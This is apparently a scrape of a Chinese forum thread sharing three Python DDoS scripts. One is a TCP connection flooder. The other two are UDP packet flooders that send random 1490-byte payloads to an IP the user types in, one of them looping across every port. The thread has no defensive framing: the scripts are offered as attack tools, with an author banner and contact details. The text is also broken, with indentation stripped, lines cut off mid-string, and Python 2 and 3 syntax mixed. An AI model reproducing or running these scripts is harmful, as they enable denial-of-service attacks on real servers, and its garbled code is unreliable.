def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(bytes(buf, encoding='utf-8')) # 发送HTTP请求
print("[+] Send buf OK!,conn=%d" % i)
socks.append(s)
except Exception as ex:
print("[-] Could not connect to server or send error:%s" % ex)
time.sleep(2)
def send_thread():
global socks
for i in range(10):
for s in socks:
try:
s.send(bytes("ddos", encoding='utf-8')) # ddos攻击
print("[+] send OK!")
except Exception as ex:
print("[-] send Exception:%s" % ex)
socks.remove(s)
s.close()
time.sleep(1)
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
print("Initializing...\n")
import socket
import random
#构建socket通讯
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#构建字节数据包
byte = random._urandom(1490)
try:
ip = raw_input("IP Dress: ")
port = raw_input("Port(Leave a blank to attack all of the ports): ")
except:
ip = input("IP Dress: ")
port = input("Port(Leave a blank to attack all of the ports): ")
if port == "":
port = 1
re = True
else:
port = int(port)
re = False
sent = 0
while True:
sock.sendto(byte, (ip,port))
sent = sent + 1
print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))
if re:
port = port + 1
else:
pass
if port == 65534:
port = 1
使用道具 举报
推荐[/quote]
import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
##############
sock = socket.socket(socket.AF_INET, socket.SOCK
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("figlet DDos Attack")
print (" ")
print ("/---------------------------------------
print ("| ...... : Andysun06
print ("| ......github : [url]https://github.com[/url]
print ("| kali-QQ......... : 909533854
print ("| ...... : V1.0.0
print ("\---------------------------------------
print (" ")
print (" -----------------[.....................
print (" ")
ip = input("......... IP : ")
port = int(input("............ : "))
sd = int(input("............(1~1000) : "))
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
print ("......... %s ............... %s ...
time.sleep((1000-sd)/2000)
使用道具 举报